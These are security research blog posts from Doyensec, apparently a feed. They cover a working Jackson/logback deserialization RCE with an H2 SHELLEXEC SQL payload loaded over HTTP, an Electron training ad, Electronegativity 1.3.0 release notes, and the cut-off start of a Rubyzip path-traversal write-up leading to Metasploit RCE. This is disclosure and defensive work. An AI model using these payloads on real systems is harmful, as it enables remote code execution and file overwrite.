This is what we can abuse to execute arbitrary code.</p>
<p>We can easily serve the following <code class="language-plaintext highlighter-rouge">inject.sql</code> INIT file through a simple http server such as a python one (e.g. <code class="language-plaintext highlighter-rouge">python -m SimpleHttpServer</code>).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > exploited.txt')
</code></pre></div></div>
<p>And run the tester application with:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>jruby test.rb <span class="s2">"[</span><span class="se">\"</span><span class="s2">ch.qos.logback.core.db.DriverManagerConnectionSource</span><span class="se">\"</span><span class="s2">, {</span><span class="se">\"</span><span class="s2">url</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'</span><span class="se">\"</span><span class="s2">}]"</span>
...
<span class="nv">$ </span><span class="nb">cat </span>exploited.txt
<span class="nv">uid</span><span class="o">=</span>501<span class="o">(</span>...<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>20<span class="o">(</span>staff<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>20<span class="o">(</span>staff<span class="o">)</span>,12<span class="o">(</span>everyone<span class="o">)</span>,61<span class="o">(</span>localaccounts<span class="o">)</span>,79<span class="o">(</span>_appserverusr<span class="o">)</span>,80<span class="o">(</span>admin<span class="o">)</span>,81<span class="o">(</span>_appserveradm<span class="o">)</span>,98<span class="o">(</span>_lpadmin<span class="o">)</span>,501<span class="o">(</span>access_bpf<span class="o">)</span>,701<span class="o">(</span>com.apple.sharepoint.group.1<span class="o">)</span>,33<span class="o">(</span>_appstore<span class="o">)</span>,100<span class="o">(</span>_lpoperator<span class="o">)</span>,204<span class="o">(</span>_developer<span class="o">)</span>,250<span class="o">(</span>_analyticsusers<span class="o">)</span>,395<span class="o">(</span>com.apple.access_ftp<span class="o">)</span>,398<span class="o">(</span>com.apple.access_screensharing<span class="o">)</span>,399<span class="o">(</span>com.apple.access_ssh<span class="o">)</span>
</code></pre></div></div>
<p>Voila’!</p>
<h2 id="iterative-taint-tracking">Iterative Taint-Tracking</h2>
<p>Exploitation of deserialization vulnerabilities is complex and takes time. When conducting a product security review, time constraints can make it difficult to find the appropriate gadgets to use in exploitation. On the other end, the Jackson blacklists are updated on a monthly basis while users of this mechanism (e.g. enterprise applications) may have yearly release cycles.</p>
<p>Deserialization vulnerabilities are the typical needle-in-the-haystack problem. On the one hand, identifying a vulnerable entry point is an easy task, while finding a useful gadget may be time consuming (and tedious).
At Doyensec we developed a technique to find useful Jackson gadgets to facilitate the latter effort.
We built a static analysis tool that can find serialization gadgets through
<a href="https://en.wikipedia.org/wiki/Taint_checking">taint-tracking</a> analysis.
We designed it to be fast enough to run multiple times and iterate/improve through a custom and extensible rule-set language.
On average a run on a Macbook PRO i7 2018 takes 2 minutes.</p>
<!-- put a picture here of taint tracking -->
<p><img src="../../../public/images/jackson-taint.png" alt="Jackson Taint Tracking" align="center" width="500" /></p>
<p>Taint-tracking is a topical academic research subject.
Academic research tools are focused on a very high recall and precision.
The trade-off lies between high-recall/precision versus speed/memory.
Since we wanted this tool to be usable while testing commercial grade products
and we valued the customizability of the tool by itself, we focused on speed and usability instead of high recall.
While the tool is inspired by other research such as <a href="https://blogs.uni-paderborn.de/sse/tools/flowdroid/">flowdroid</a>,
the focus of our technique is not to rule out the human analyst. Instead, we believe in augmenting manual testing and exploitation with customizable <a href="https://doyensec.com/automation.html">security automation</a>.</p>
<p>This research was possible thanks to the <a href="https://doyensec.com/careers.html">25% research time</a> at Doyensec. Tune in again for new episodes.</p>
<p>That’s all folks! Keep it up and be safe!</p>
Electron Security Workshop2019-07-03T00:00:00+02:00https://blog.doyensec.com/2019/07/03/electron-security-workshop<h2 id="2-days-training-on-how-to-build-secure-electron-applications">2-Days Training on How to Build Secure Electron Applications</h2>
<p>We are excited to present our brand-new class on Electron Security! This blog post provides a general overview of the 2-days workshop.</p>
<p><img src="../../../public/images/electronlogo.png" width="400" alt="ElectronJS Logo" align="center" /></p>
<p>With the increasing popularity of the <a href="https://electronjs.org/">ElectronJs Framework</a>, we decided to create a class that teaches students how to build and maintain secure desktop applications that are resilient to attacks and common classes of vulnerabilities. Building secure Electron applications is possible, but complicated.
You need to know the framework, follow its evolution, and constantly update and devise in depth defense mechanisms to mitigate its deficiencies.</p>
<p>Our training begins with an overview of Electron internals and the life cycle of a typical Electron-based application.
After a quick intro, we will jump straight into threat modeling and attack surface. We will analyze what are the common root causes for misconfigurations and vulnerabilities.
The class will be centered around two main topics: subverting the framework and breaking the custom application code. We will present security misconfigurations, security anti-patterns, <em>nodeIntegration</em> and <em>sandbox</em> bypasses, insecure <em>preload</em> bugs, prototype pollution attacks, <em>affinity</em> abuses and much more.</p>
<p>The class is hands-on with many live examples. The exercises and scenarios will help students understand how to identify vulnerabilities and build mitigations. Throughout the class, we will also have a few Q&A panels to answer all questions attendees might have and potentially review their code.</p>
<p>If you’re interested, check out this short teaser:</p>
<style>
.videoWrapper {
position: relative;
padding-bottom: 56.25%; /* 16:9 */
padding-top: 25px;
height: 0;
}
.videoWrapper iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
</style>
<div class="videoWrapper">
<iframe width="560" height="349" src="https://www.youtube.com/embed/oTJOE6LOPks" frameborder="0" allowfullscreen=""></iframe>
</div>
<h3 id="audience-profile">Audience Profile</h3>
<p>Who should take this course?</p>
<ul>
<li>JavaScript and Node.js Developers</li>
<li>Security Engineers</li>
<li>Security Auditors and Pentesters</li>
</ul>
<p>We will provide details on how to find and fix security vulnerabilities, which makes this class suitable for both blue and red teams.
Basic JavaScript development experience and basic understanding of web application security (e.g. XSS) is required.</p>
<h3 id="general-information">General Information</h3>
<p>Attendees will receive a bundle with all material, including:</p>
<ul>
<li>Workshop presentation (over 200 slides)</li>
<li>Code, exploits and artifacts of all exercises</li>
<li>Certificate of completion</li>
</ul>
<p>This 2-days training is delivered in English, either remotely or on-site (worldwide).</p>
<p>Doyensec will accept up to 15 attendees per tutor. If the number of attendees exceeds the maximum allowed, Doyensec will allocate additional tutors.</p>
<p>We’re a flexible security boutique and can further customize the agenda to your specific company’s needs.</p>
<p><strong>Feel free to contact us at <a href="mailto:info@doyensec.com">info@doyensec.com</a> for scheduling your class!</strong></p>
Electronegativity 1.3.0 released!2019-06-11T00:00:00+02:00https://blog.doyensec.com/2019/06/11/electronegativity-1.3<p>After the first public release of <a href="https://github.com/doyensec/electronegativity">Electronegativity</a>, we had a great response from the community and the tool quickly became the baseline for every Electron app’s security review for many professionals and organizations. This pushed us forward, improving Electronegativity and expanding our research in the field. <strong>Today we are proud to release <a href="https://github.com/doyensec/electronegativity/releases/tag/v1.3.0">version 1.3.0</a> with many new improvements and security checks for your Electron applications.</strong></p>
<video controls="" preload="auto" width="100%" height="100%" muted="" autoplay="autoplay" poster="../../../public/images/electronegativity-1-3.png" loop="">
<source src="../../../public/images/electronegativity-1-3.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<p><br /></p>
<p>We’re also excited to announce that <strong>the tool has been accepted for <a href="https://www.blackhat.com/us-19/arsenal/schedule/#electronegativity-identify-misconfigurations-and-security-anti-patterns-in-electron-applications-15485">Black Hat USA Arsenal 2019</a></strong>, where it will be showcased at the Mandalay Bay in Las Vegas. We’ll be at Arsenal Station 1 on August 7, from 4:00 pm to 5:20 pm. Drop by to see live demonstrations of Electronegativity hunting real Electron applications for vulnerabilities (or just to say hi and collect Doyensec socks)!</p>
<p>If you’re simply interested in trying out what’s new in Electronegativity, go ahead and update or install it using NPM:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>npm <span class="nb">install</span> @doyensec/electronegativity <span class="nt">-g</span>
<span class="c"># or</span>
<span class="nv">$ </span>npm update @doyensec/electronegativity <span class="nt">-g</span>
</code></pre></div></div>
<p>To review your application, use the following command:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>electronegativity <span class="nt">-i</span> /path/to/electron/app
</code></pre></div></div>
<h2 id="whats-new">What’s New</h2>
<p>Electronegativity 1.1.1 initially shipped with <a href="https://blog.doyensec.com/2019/01/24/electronegativity.html">27 unique checks</a>. Now it counts over <a href="https://github.com/doyensec/electronegativity/wiki#electronegativity-checks">40 checks</a>, featuring a new advanced check system to help improve the tool’s detection capabilities in sorting out false positive and false negative findings.
Here is a brief list of what’s new in this 1.3.0 release:</p>
<ul>
<li>Now every check has an importance and accuracy attribute which helps the auditor to determine the importance of each finding. Consequently, we also introduced some new command line flags to filter the results by severity (<code class="language-plaintext highlighter-rouge">--severity</code>) and by confidence (<code class="language-plaintext highlighter-rouge">--confidence</code>), useful for tailored Electronegativity integration in your application security pipelines or build systems.</li>
<li>We introduced a new class of checks called <em>GlobalChecks</em> which can dynamically set the <em>severity</em> and <em>confidence</em> for the findings or create new ones considering the inherit security risk posed by their interaction (e.g. cross-checking the <code class="language-plaintext highlighter-rouge">nodeIntegration</code> and <code class="language-plaintext highlighter-rouge">sandbox</code> flags value or the presence of the <code class="language-plaintext highlighter-rouge">affinity</code> flag used acrossed different windows).</li>
<li>Variable scoping analysis capabilities have been added to inspect the <em>Function</em> and <em>Global</em> variable content, when available.</li>
<li>A new single-check scan mode is now provided by passing the <code class="language-plaintext highlighter-rouge">-l</code> flag along with a list of enabled checks (e.g. <code class="language-plaintext highlighter-rouge">-l "AuxClickJsCheck,AuxClickHtmlCheck"</code>). Another command line flag has been introduced to show relative paths for files (<code class="language-plaintext highlighter-rouge">-r</code>).</li>
<li>The newly introduced Electron’s component <em><a href="https://electronjs.org/docs/api/browser-view">BrowserView</a></em> is now supported, which is meant to be an alternative to the <em><a href="https://electronjs.org/docs/api/webview-tag">WebView</a></em> tag. The tool now also detects the use of the <code class="language-plaintext highlighter-rouge">nodeIntegrationInSubFrames</code> experimental option for enabling NodeJS support in sub-frames (e.g. an iframe inside a <code class="language-plaintext highlighter-rouge">webview</code> object).</li>
<li>Various bug fixes and new checks! (see below)</li>
</ul>
<h3 id="updated-checks">Updated Checks</h3>
<p>This new release also comes with new and updated checks. As always, a knowledge-base containing information around risk and auditing strategy has been created for each class of vulnerabilities.</p>
<h4 id="affinity-check">Affinity Check</h4>
<p>When specified, renderers with the same affinity will run in the same renderer process. Due to reusing the renderer process, certain <code class="language-plaintext highlighter-rouge">webPreferences</code> options will also be shared between the web pages even when you specified different values for them. This can lead to unexpected security configuration overrides:</p>
<p><img src="../../../public/images/electron-affinity.png" alt="Affinity Property Vulnerability" align="center" /></p>
<p>In the above <a href="https://gist.github.com/0d928ee9ed95519859dda9dc7ffc1060">demo</a>, the <code class="language-plaintext highlighter-rouge">affinity</code> set between the two <code class="language-plaintext highlighter-rouge">BrowserWindow</code> objects will cause the unwanted share of the <code class="language-plaintext highlighter-rouge">nodeIntegration</code> property value. Electronegativity will now issue a finding reporting the usage of this flag if present.</p>
<p><em>Read more on the dedicated <a href="https://github.com/doyensec/electronegativity/wiki/AFFINITY_GLOBAL_CHECK">AFFINITY_GLOBAL_CHECK</a> wiki page.</em></p>
<h4 id="allowpopups-check">AllowPopups Check</h4>
<p>When the <code class="language-plaintext highlighter-rouge">allowpopups</code> attribute is present, the guest page will be allowed to open new windows. Popups are disabled by default.</p>
<p><em>Read more on the <a href="https://github.com/doyensec/electronegativity/wiki/ALLOWPOPUPS_HTML_CHECK">ALLOWPOPUPS_HTML_CHECK</a> wiki page.</em></p>
<h4 id="missing-electron-security-patches-detection">Missing Electron Security Patches Detection</h4>
<p>This check detects if there are security patches available for the Electron version used by the target application. From this release we switched from manually updating a safe releases file to creating a routine which automatically fetches the latest releases from Electron’s official repository and determines if there are security patches available at each run.</p>
<p><em>Read more on the <a href="https://github.com/doyensec/electronegativity/wiki/AVAILABLE_SECURITY_FIXES_GLOBAL_CHECK">AVAILABLE_SECURITY_FIXES_GLOBAL_CHECK</a> and <a href="https://github.com/doyensec/electronegativity/wiki/ELECTRON_VERSION_JSON_CHECK">ELECTRON_VERSION_JSON_CHECK</a> wiki page.</em></p>
<h4 id="check-for-custom-command-line-arguments">Check for Custom Command Line Arguments</h4>
<p>This check will compare the custom command line arguments set in the <em>package.json</em> <code class="language-plaintext highlighter-rouge">scripts</code> and <code class="language-plaintext highlighter-rouge">configuration</code> objects against a blacklist of dangerous arguments. The use of additional command line arguments can increase the application attack surface, disable security features or influence the overall security posture.</p>
<p><em>Read more on the <a href="https://github.com/doyensec/electronegativity/wiki/CUSTOM_ARGUMENTS_JSON_CHECK">CUSTOM_ARGUMENTS_JSON_CHECK</a> wiki page.</em></p>
<h4 id="csp-presence-check-and-review">CSP Presence Check and Review</h4>
<p>Electronegativity now checks if a Content Security Policy (CSP) is set as an additional layer of protection against cross-site-scripting attacks and data injection attacks. If a CSP is detected, it will look for weak directives by using a <a href="https://www.npmjs.com/package/@doyensec/csp-evaluator">new library</a> based on the <a href="https://csp-evaluator.withgoogle.com/">csp-evaluator.withgoogle.com</a> online tool.</p>
<p><em>Read more on the <a href="https://github.com/doyensec/electronegativity/wiki/CSP_GLOBAL_CHECK">CSP_GLOBAL_CHECK</a> wiki page.</em></p>
<h4 id="dangerous-js-functions-called-with-user-supplied-data">Dangerous JS Functions called with user-supplied data</h4>
<p>Looks for occurrences of <code class="language-plaintext highlighter-rouge">insertCSS</code>, <code class="language-plaintext highlighter-rouge">executeJavaScript</code>, <code class="language-plaintext highlighter-rouge">eval</code>, <code class="language-plaintext highlighter-rouge">Function</code>, <code class="language-plaintext highlighter-rouge">setTimeout</code>, <code class="language-plaintext highlighter-rouge">setInterval</code> and <code class="language-plaintext highlighter-rouge">setImmediate</code> with user-supplied input.</p>
<p><em>Read more on the <a href="https://github.com/doyensec/electronegativity/wiki/DANGEROUS_FUNCTIONS_JS_CHECK">DANGEROUS_FUNCTIONS_JS_CHECK</a> wiki page.</em></p>
<h4 id="check-for-mitigations-set-to-limit-the-navigation-flows">Check for mitigations set to limit the navigation flows</h4>
<p>Detects if the <code class="language-plaintext highlighter-rouge">on()</code> handler for <code class="language-plaintext highlighter-rouge">will-navigate</code> and <code class="language-plaintext highlighter-rouge">new-window</code> events is used. This setting can be used to limit the exploitability of certain issues. Not enforcing navigation limits leaves the Electron application under full control to remote origins in case of accidental navigation.</p>
<p><em>Read more on the <a href="https://github.com/doyensec/electronegativity/wiki/LIMIT_NAVIGATION_GLOBAL_CHECK">LIMIT_NAVIGATION_GLOBAL_CHECK</a> and <a href="https://github.com/doyensec/electronegativity/wiki/LIMIT_NAVIGATION_JS_CHECK">LIMIT_NAVIGATION_JS_CHECK</a> wiki pages</em>.</p>
<h4 id="detects-if-electrons-security-warnings-have-been-disabled">Detects if Electron’s security warnings have been disabled</h4>
<p>The tool will check if Electron’s warnings and recommendations printed to the developer console have been force-disabled by the developer. Disabling this warning may hide the presence of misconfigurations or insecure patterns to the developers.</p>
<p><em>Read more on the <a href="https://github.com/doyensec/electronegativity/wiki/SECURITY_WARNINGS_DISABLED_JS_CHECK">SECURITY_WARNINGS_DISABLED_JS_CHECK</a> and <a href="https://github.com/doyensec/electronegativity/wiki/SECURITY_WARNINGS_DISABLED_JSON_CHECK">SECURITY_WARNINGS_DISABLED_JSON_CHECK</a> wiki pages</em>.</p>
<h4 id="detects-if-setpermissionrequesthandler-is-missing-for-untrusted-origins">Detects if setPermissionRequestHandler is missing for untrusted origins</h4>
<p>Not enforcing custom checks for permission requests (e.g. media) leaves the Electron application under full control of the remote origin. For instance, a Cross-Site Scripting vulnerability can be used to access the browser media system and silently record audio/video. Because of this, Electronegativity will also check if a <code class="language-plaintext highlighter-rouge">setPermissionRequestHandler</code> has been set.</p>
<p><em>Read more on the <a href="https://github.com/doyensec/electronegativity/wiki/PERMISSION_REQUEST_HANDLER_GLOBAL_CHECK">PERMISSION_REQUEST_HANDLER_GLOBAL_CHECK</a> wiki page.</em></p>
<p>…and more to come! If you are a developer, we encourage you to use Electronegativity to understand how these Electron’s security pitfalls affect your application and how to avoid them. We really believe that Electron deserves a strong security community behind and that creating the right and robust tools to help this community is the first step towards improving the whole Electron’s ecosystem security stance.</p>
<p>As a final remark, we’d like to thank all past and present contributors to this tool: <a href="https://twitter.com/lucacarettoni">@ikkisoft</a>, <a href="https://twitter.com/p4p3r">@p4p3r</a>, <a href="https://twitter.com/0xibram">@0xibram</a>, <a href="https://twitter.com/yarlob">@yarlob</a>, <a href="https://twitter.com/lorenzostella">@lorenzostella</a>, and ultimately <a href="https://twitter.com/doyensec">@Doyensec</a> for sponsoring this release.</p>
<p>See you in Vegas!</p>
<p>@lorenzostella</p>
On insecure zip handling, Rubyzip and Metasploit RCE (CVE-2019-5624)2019-04-24T00:00:00+02:00https://blog.doyensec.com/2019/04/24/rubyzip-bug<p>During one of our projects we had the opportunity to audit a Ruby-on-Rails (RoR) web application handling zip files using the <a href="https://github.com/Rubyzip/Rubyzip">Rubyzip</a> gem. Zip files have always been an interesting entry-point to triggering multiple vulnerability types, including path traversals and symlink file overwrite attacks. As the library under testing had symlink processing disabled, we focused on path traversal exploitation.</p>
<p><strong>This blog post discusses our results, the “bug” discovered in the library itself and the implication of such an issue in a popular piece of software - <a href="https://blog.rapid7.com/2019/04/19/metasploit-wrap-up-13/">Metasploit</a>.</strong></p>
<hr />
<h2 id="rubyzip-and-old-vulnerabilities">Rubyzip and old vulnerabilities</h2>
<p>The <em>Rubyzip</em> gem has a long history of path traversal vulnerabilities (<a href="https://github.com/Rubyzip/Rubyzip/issues/315">1</a>, <a href="https://github.com/Rubyzip/Rubyzip/issues/369">2</a>) through malicious filenames. Particularly interesting was the code change in PR <a href="https://github.com/Rubyzip/Rubyzip/pull/376">#376</a> where a different handling was implemented by the developers.</p>
<div class="language-rb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Extracts entry to file dest_path (defaults to @name).</span>
<span class="c1"># NB: The caller is responsible for making sure dest_path is safe, </span>
<span class="c1"># if it is passed.</span>
<span class="k">def</span> <span class="nf">extract</span><span class="p">(</span><span class="n">dest_path</span> <span class="o">=</span> <span class="kp">nil</span><span class="p">,</span> <span class="o">&</span><span class="n">block</span><span class="p">)</span>
<span class="k">if</span> <span class="n">dest_path</span><span class="p">.</span><span class="nf">nil?</span> <span class="o">&&</span> <span class="o">!</span><span class="n">name_safe?</span>
<span class="nb">puts</span> <span class="s2">"WARNING: skipped </span><span class="si">#{</span><span class="vi">@name</span><span class="si">}</span><span class="s2"> as unsafe"</span>
<span class="k">return</span> <span class="nb">self</span>
<span class="k">end</span>
<span class="p">[</span><span class="o">...</span><span class="p">]</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">Entry#name_safe</code> is defined <a href="https://github.com/Rubyzip/Rubyzip/blob/master/lib/zip/entry.rb#L112">a few lines before</a> as:</p>
<div class="language-rb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Is the name a relative path, free of `..` patterns that could lead to</span>
<span class="c1"># path traversal attacks? This does NOT handle symlinks; if the path</span>
<span class="c1"># contains symlinks, this check is NOT enough to guarantee safety.</span>
<span class="k">def</span> <span class="nf">name_safe?</span>
<span class="n">cleanpath</span> <span class="o">=</span> <span class="no">Pathname</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="vi">@name</span><span class="p">).</span><span class="nf">cleanpath</span>
<span class="k">return</span> <span class="kp">false</span> <span class="k">unless</span> <span class="n">cleanpath</span><span class="p">.</span><span class="nf">relative?</span>
<span class="n">root</span> <span class="o">=</span> <span class="o">::</span><span class="no">File</span><span class="o">::</span><span class="no">SEPARATOR</span>
<span class="n">naive_expanded_path</span> <span class="o">=</span> <span class="o">::</span><span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">cleanpath</span><span class="p">.</span><span class="nf">to_s</span><span class="p">)</span>
<span class="n">cleanpath</span><span class="p">.</span><span class="nf">expand_path</span><span class="p">(</span><span class="n">root</span><span class="p">).</span><span class="nf">to_s</span> <span class="o">==</span> <span class="n">naive_expanded_path</span>
<span class="k">end</span>
</code></pre></div></div>
<p>In the code above, if the destination path is passed to the <code class="language-plaintext highlighter-rouge">Entry#extract</code> function then it is not actually checked. A <a href="https://github.com/Rubyzip/Rubyzip/blob/master/lib/zip/entry.rb#L160">comment</a> in the source code of that function highlights the user’s responsibility:</p>
<blockquote>
<p># NB: The caller is responsible for making sure dest_path is safe, if it is passed.</p>
</blockquote>
<p>While the <code class="language-plaintext highlighter-rouge">Entry#name_safe</code> is a fair check against path traversals (and absolute paths), it is only executed when the function is called without arguments.</p>
<p>In order to verify the library bug we generated a ZIP PoC using the old (and still good) <a href="https://github.com/ptoomey3/evilarc">evilarc</a>, and extracted the malicious file using the following code:</p>
<div class="language-rb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">require</span> <span class="s1">'zip'</span>
<span class="n">first_arg</span><span class="p">,</span> <span class="o">*</span><span class="n">the_rest</span> <span class="o">=</span> <span class="no">ARGV</span>
<span class="no">Zip</span><span class="o">::</span><span class="no">File</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="n">first_arg</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">zip_file</span><span class="o">|</span>
<span class="n">zip_file</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">entry</span><span class="o">|</span>
<span class="nb">puts</span> <span class="s2">"Extracting </span><span class="si">#{</span><span class="n">entry</span><span class="p">.</span><span class="nf">name</span><span class="si">}</span><span class="s2">"</span>
<span class="n">entry</span><span class="p">.</span><span class="nf">extract</span><span class="p">(</span><span class="n">entry</span><span class="p">.</span><span class="nf">name</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">ls</span> /tmp/file.txt
<span class="nb">ls</span>: cannot access <span class="s1">'/tmp/file.txt'</span>: No such file or directory
<span class="nv">$ </span>zipinfo absolutepath.zip
Archive: absolutepath.zip
Zip file size: 289 bytes, number of entries: 2
drwxr-xr-x 2.1 unx 0 bx stor 18-Jun-13 20:13 /tmp/
<span class="nt">-rw-r--r--</span> 2.1 unx 5 bX defN 18-Jun-13 20:13 /tmp/file.txt
2 files, 5 bytes uncompressed, 7 bytes compressed: <span class="nt">-40</span>.0%
<span class="nv">$ </span>ruby Rubyzip-poc.rb absolutepath.zip
Extracting /tmp/
Extracting /tmp/file.txt
<span class="nv">$ </span><span class="nb">ls</span> /tmp/file.txt
/tmp/file.txt
</code></pre></div></div>
<p>Resulting in a file being created in <em>/tmp/file.txt</em>, which confirms the issue.</p>
<p>As happened with our client, most developers might have upgraded to <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-1000544">Rubyzip 1.2.2</a> thinking it was safe to use without actually verifying how the library works or its specific usage in the codebase.</p>
<h2 id="it-would-have-been-vulnerable-anyway-_ツ_">It would have been vulnerable anyway <code class="language-plaintext highlighter-rouge">¯\_(ツ)_/¯</code></h2>
<p>In the context of our web application, the user-supplied zip was decompressed through the following (pseudo) code:</p>
<div class="language-rb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">unzip</span><span class="p">(</span><span class="n">input</span><span class="p">)</span>
<span class="n">uuid</span> <span class="o">=</span> <span class="n">get_uuid</span><span class="p">()</span>
<span class="c1"># 0. create a 'Pathname' object with the new uuid</span>
<span class="n">parent_directory</span> <span class="o">=</span> <span class="no">Pathname</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span><span class="no">ENV</span><span class="p">[</span><span class="s1">'uploads_dir'</span><span class="p">]</span><span class="si">}</span><span class="s2">/</span><span class="si">#{</span><span class="n">uuid</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="no">Zip</span><span class="o">::</span><span class="no">File</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="n">input</span><span class="p">[</span><span class="ss">:zip_file</span><span class="p">].</span><span class="nf">to_io</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">zip_file</span><span class="o">|</span>
<span class="n">zip_file</span><span class="p">.</span><span class="nf">each_with_index</span> <span class="k">do</span> <span class="o">|</span><span class="n">entry</span><span class="p">,</span> <span class="n">index</span><span class="o">|</span>
<span class="c1"># 1. check the file is not present</span>
<span class="k">next</span> <span class="k">if</span> <span class="no">File</span><span class="p">.</span><span class="nf">file?</span><span class="p">(</span><span class="n">parent_directory</span> <span class="o">+</span> <span class="n">entry</span><span class="p">.</span><span class="nf">name</span><span class="p">)</span>
<span class="c1"># 2. extract the entry</span>
<span class="n">entry</span><span class="p">.</span><span class="nf">extract</span><span class="p">(</span><span class="n">parent_directory</span> <span class="o">+</span> <span class="n">entry</span><span class="p">.</span><span class="nf">name</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="no">Success</span>
<span class="k">end</span>
</code></pre></div></div>
<p>In item #0 we can see that a <code class="language-plaintext highlighter-rouge">Pathname</code> object is created and then used as the destination path of the decompressed entry in item #2. However, the sum operator between objects and strings does not work as many developers would expect and might result in unintended behavior.</p>
<p>We can easily understand its behavior in an IRB shell:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>irb
irb<span class="o">(</span>main<span class="o">)</span>:001:0> require <span class="s1">'pathname'</span>
<span class="o">=></span> <span class="nb">true
</span>irb<span class="o">(</span>main<span class="o">)</span>:002:0> parent_directory <span class="o">=</span> Pathname.new<span class="o">(</span><span class="s2">"/tmp/random_uuid/"</span><span class="o">)</span>
<span class="o">=></span> <span class="c">#<Pathname:/tmp/random_uuid/></span>
irb<span class="o">(</span>main<span class="o">)</span>:003:0> entry_path <span class="o">=</span> Pathname.new<span class="o">(</span>parent_directory + File.dirname<span class="o">(</span><span class="s2">"../../path/traversal"</span><span class="o">))</span>
<span class="o">=></span> <span class="c">#<Pathname:/path></span>
irb<span class="o">(</span>main<span class="o">)</span>:004:0> destination_folder <span class="o">=</span> Pathname.new<span class="o">(</span>parent_directory + <span class="s2">"../../path/traversal"</span><span class="o">)</span>
<span class="o">=></span> <span class="c">#<Pathname:/path/traversal></span>
irb<span class="o">(</span>main<span class="o">)</span>:005:0> parent_directory + <span class="s2">"../../path/traversal"</span>
<span class="o">=></span> <span class="c">#<Pathname:/path/traversal></span>
</code></pre></div></div>
<p>Thanks to the interpretation of the <code class="language-plaintext highlighter-rouge">../</code> by <code class="language-plaintext highlighter-rouge">Pathname</code>, the argument to Rubyzip’s <code class="language-plaintext highlighter-rouge">Entry#extract</code> call does not contain any path traversal payloads which results in a mistakenly supposed “<em>safe</em>” path. Since the gem does not perform any validation, the exploitation does not even require this unexpected path concatenation.</p>
<h2 id="from-arbitrary-file-write-to-rce-ror-style">From Arbitrary File Write to RCE (RoR Style)</h2>
<p>Apart from the usual *nix and windows specific techniques (like writing a new cronjob or exploiting custom scripts), we were interested in understanding how we could leverage this bug to achieve RCE in the context of a RoR application.</p>
<p>Since our target was running in <em>production</em> environments, RoR classes were <a href="https://guides.rubyonrails.org/autoloading_and_reloading_constants.html#autoload-paths-and-eager-load-paths">cached on first usage</a> via the <em>cache_classes</em> directive. During the time allocated for the engagement we didn’t find a <strong>reliable</strong> way to load/inject arbitrary code at runtime via file write without requiring a RoR reboot.</p>
<p>However, we did verify in a local testing environment that chaining together a Denial of Service vulnerability and a full path disclosure of the web app root can be used to trigger the web server reboot and achieve RCE via the aforementioned zip handling vulnerability.</p>
<p>The official <a href="https://guides.rubyonrails.org/v2.3/configuring.html#using-initializers">documentation</a> explains that:</p>
<blockquote>
<p>After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under /config/initializers in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.</p>
</blockquote>
<p>Using this feature, an attacker with the right privileges can add a malicious <code class="language-plaintext highlighter-rouge">.rb</code> in the <code class="language-plaintext highlighter-rouge">/config/initializers</code> folder which will be loaded at web server (re)boot.</p>
<h2 id="attacking-the-attackers-metasploit-authenticated-rce-cve-2019-5624">Attacking the attackers. Metasploit Authenticated RCE (CVE-2019-5624)</h2>
<p>Just after the end of the engagement and with the approval of our customer, we started looking at popular software that was likely affected by the Rubyzip bug.
As we were brainstorming potential targets, an icon on one of our VMs caught our attention: <a href="https://www.metasploit.com/">Metasploit Framework</a></p>
<p>Going through the source code, we were able to quickly identify several files that are using the Rubyzip library to create ZIP files. Since our vulnerability resides in the <code class="language-plaintext highlighter-rouge">extract</code> function, we recalled an option to import a ZIP workspace from previous MSF versions or from different instances. We identified the corresponding code path in <a href="https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/db_manager/import/metasploit_framework/zip.rb">zip.rb</a> file <em>(line 157)</em> that is responsible for importing a Metasploit ZIP File:</p>
<div class="language-rb highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">data</span><span class="p">.</span><span class="nf">entries</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">e</span><span class="o">|</span>
